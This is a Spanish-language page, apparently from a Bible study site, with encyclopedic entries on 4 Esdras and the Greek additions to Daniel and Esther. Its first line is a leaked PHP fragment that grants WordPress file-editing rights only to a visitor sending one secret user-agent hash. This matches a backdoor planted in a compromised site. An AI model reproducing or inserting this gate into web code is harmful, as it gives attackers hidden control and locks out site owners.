if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } canónico – Texto Bíblico

Cuarto de Esdras

Los Seudoepigráficos

Cuarto de Esdras

Segundo de Esdras

Tercero de Esdras

Cuarto de Esdras es una obra apocalíptica (se cree que fue escrito a fines del siglo I d. C.) que figura como apéndice en algunas ediciones de la Biblia. Al igual que con Primero de Esdras, existe cierta confusión acerca de la numeración de este libro. En la Vulgata aparece como Cuarto de Esdras; en las versiones eslavas y rusas, como Tercero de Esdras (cuando, como en el griego, Esdras y Nehemías son considerados un solo libro). Algunos manuscritos latinos primitivos lo llamaron 3 Esdras. Jerónimo y los manuscritos latinos medievales lo llamaron de 4 Esdras.  Este texto es a veces también conocido como “Apocalipsis de Esdras” (capítulos 3-14 conocidos como el “Apocalipsis judío de Esdras” o “4 Esdras”, capítulos 1-2 como “5 Esdras”, y los capítulos 15-16 como “Esdras 6”).

Una vez que 1 y 2 Esdras de Jerónimo se llama Esdras y Nehemías en tiempos más recientes, la designación 2 Esdras llegó a ser común en Biblias inglesas.

Para favorecer las creencias fundamentales del judaísmo, el autor de Cuarto de Esdras presenta un concepto escatológico de Dios. Dios es uno y único; no tiene instrumentos intermediarios; únicamente él es el juez final. Los israelitas son una raza elegida, y la ley es una dádiva especial para ellos después de haber sido rechazada por otros mundos. Como el amor de Dios por Israel excede a su amor por cualquier otro pueblo, los israelitas son sus verdaderos representantes para la humanidad.

Esta obra apocalíptica tiene una historia literaria complicada.  Las versiones orientales en que nos ha llegado (siríaca, etiópica, armenia, georgiana y dos en árabe) sólo registran los capítulos 3-14.  Estos abarcan probablemente la obra judía inicial, compuesta a fines del siglo I d.C.  Sólo las versiones latinas contienen el prefacio (caps. 1 y 2) y la conclusión (caps. 15 y 16), que los eruditos creen que son de origen cristiano, tal vez de los siglos II y III d.C., respectivamente.  En 1:30, por ejemplo, el pasaje parece claramente tomado de Mateo 23:37, y el texto de 1:37 es comparable con Juan 20:29. El concepto del rechazo de los judíos como pueblo de Dios y el llamado a los gentiles refleja definidamente un punto de vista cristiano (1:24, 25, 35-40; 2:10, 11, 34). 

Los capítulos 3-14 son de un supuesto Apocalipsis de Salatiel, identificado con Esdras (AS-E).  Se cree que esta parte del libro quizá fue escrito en hebreo, en algún momento próximo al fin del siglo I d.C., y que se lo llamó Esdras para que fuera aceptado por el judaísmo rabínico de la época. El AS-E contiene 7 visiones que intentan develar el futuro y dar respuesta a ciertas facetas del problema del trato de Dios con su pueblo.  El autor usa un simbolismo complicado, especialmente en las visiones de la mujer de luto (9:26-10:59), el águila de 3 cabezas (con 12 alas grandes y 8 alas menores; 11:1-12:39) y del hombre que surge del mar (13:1-56).  El cap. 14 presenta un informe ficticio de la restauración de los libros sagrados que, según dice, Nabucodonosor había quemado, y afirma que Esdras dictó, por inspiración divina, a 5 secretarios el contenido de los 24 libros del Antiguo Testamento y 70 apocalipsis.  En las versiones orientales, la historia culmina con la asunción de Esdras.  Los caps. 15 y 16 se hacen eco de algunos episodios del Nuevo Testamento. Cuarto de Esdras no es aceptado como canónico ni por católicos ni por protestantes.

——————

Enlaces:

Bible Gateway – NRSV

Seudoepigráficos

Introducción
Tercero de los Macabeos
Cuarto de los Macabeos
Jubileos
Primero de Enoc (Enoc Etiópico)
Segundo de Enoc (Enoc eslavo)
Segundo de Baruc
Tercero de Baruc
Cuarto de Esdras
Testamentos de los doce patriarcas
Oráculos sibilinos
La asunción de Moisés
Carta de Aristeas
Libro de Adán y Eva
Martirio de Isaías
Pirqe Aboth (Dichos de los padres)
Salmos de Salomón
El relato de Ahikar

—–

Añadiduras a Daniel

Los Apócrifos

Añadiduras a Daniel

En la LXX hay varias añadiduras al libro canónico de Daniel, y son: el “Cántico de los tres jóvenes”, la “Historia de Susana” y la “Historia de la destrucción de Bel y el dragón”.

El “Cántico de los tres jóvenes” consta de dos partes principales. La primera es una oración atribuida a Azarías (es decir, Abed-nego) mientras caminaba en el “horno de fuego ardiendo” (cf. Daniel 3:19-25); la segunda es un canto de alabanza atribuido – sin base alguna – por el autor anónimo a los tres hebreos mientras estaban en el horno, y que se parece mucho al Salmo 148.

En la “Historia de Susana” se narra que dos jueces judíos vieron a una bella y virtuosa mujer, Susana, que se bañaba en su jardín, y se enamoraron de ella. Cuando ella rechazó sus proposiciones, ellos, en venganza, la hicieron comparecer ante un tribunal donde la acusaron falsamente de adulterio. Susana fue condenada a muerte; pero cuando se encaminaba al lugar de su ejecución, la encontró Daniel, y éste pidió que se examinara de nuevo el juicio. Daniel interrogó por separado a los dos jueces, y demostró la inocencia de Susana debido a las contradicciones de ellos. Los dos fueron ejecutados y Daniel fue muy ensalzado.

Susana

La “Historia de la destrucción de Bel y el dragón” consta de dos relatos. En el primero, como en el caso de Susana, se alaba a Daniel por haber demostrado un engaño. Cuenta cómo él puso en evidencia que un ídolo del dios babilonio Bel (Marduk) no comía alimento alguno como se pensaba que lo hacía. Esparció ceniza en el piso del santuario de Bel, y demostró a la mañana siguiente – por las huellas de pisadas en la ceniza – que los sacerdotes habían entrado en el templo del ídolo por la noche y se habían comido el alimento dedicado al ídolo. Entonces el rey mandó matar a los sacerdotes e hizo destruir el templo.

El segundo relato habla de la forma en que Daniel aniquiló a una serpiente (dragón) que era adorada por los babilonios. Le dio a comer una mezcla de brea, grasa y pelos que hizo que la serpiente reventara y muriera. Como venganza, el pueblo de Babilonia arrojó a Daniel en un foso de leones, pero las fieras no le hicieron daño, y el profeta Habacuc le trajo alimento, el cual fue transportado milagrosamente por el aire, desde Judea, por un ángel. Tan impresionado quedó el rey ante estos milagros, que liberó a Daniel y aniquiló a sus perseguidores.

Los eruditos católicos y protestantes están de acuerdo en que estas añadiduras originalmente no formaban parte del libro canónico de Daniel.

—-

Apócrifos – Introducción
Primero de Esdras
Tobías
Judit
Añadiduras a Ester
Sabiduría
Eclesiástico
Baruc
Epístola de Jeremías
Añadiduras a Daniel
Oración de Manasés
Primero de los Macabeos
Segundo de los Macabeos

—–

Añadiduras a Ester

Los Apócrifos

Añadiduras a Ester

Añadiduras (o Adiciones) al libro de Ester consiste de seis pasajes, con un total de 107 versículos, insertados por judíos piadosos de Egipto, en diversos lugares en la versión griega del libro canónico de Ester, durante el siglo I a. C.

Estas añadiduras parece que fueron hechas para reforzar el impacto religioso del libro de Ester. Como este libro canónico no contiene el nombre de Dios, se piensa que el motivo de estas adiciones fue el deseo de añadirlo.  Pero las añadiduras introdujeron discrepancias y contradicciones en el texto.

Incluyen un sueño de Mardoqueo en el que tuvo un presentimiento de la amenaza que se avecinaba a los judíos, las oraciones de Mardoqueo y de Ester cuando supieron el decreto de Amán, y una melodramática descripción de la audiencia concedida por Asuero a Ester.

Ester delante de Asuero, óleo sobre lienzo de Konrad Witz, 1445-1450, Basilea, Museo de Arte

Añadiduras:

1. Sueño de Mardoqueo y descubrimiento de un complot contra el rey Artajerjes / Asuero. Vulgata 11:2-12:6.

2. Edicto contra los judíos – Vulgata 13:1-7.

3. Oración de Mardoqueo y Ester – Vulgata 13:8-14:19.

4. Ester ante el rey – Vulgata 15:1-19.

5. El nuevo Edicto – Vulgata 16:1-24.

6. Interpretación del sueño de Mardoqueo – Vulgata 10:4-11:1.

—–

Enlaces externos:

The Jewish Encyclopedia: Apocryphal Book of Esther.

Apocrypha: Additions to Esther

Polyglot Bible: Additions to Esther

—–

Apócrifos – Introducción
Primero de Esdras
Tobías
Judit
Añadiduras a Ester
Sabiduría
Eclesiástico
Baruc
Epístola de Jeremías
Añadiduras a Daniel
Oración de Manasés
Primero de los Macabeos
Segundo de los Macabeos

—–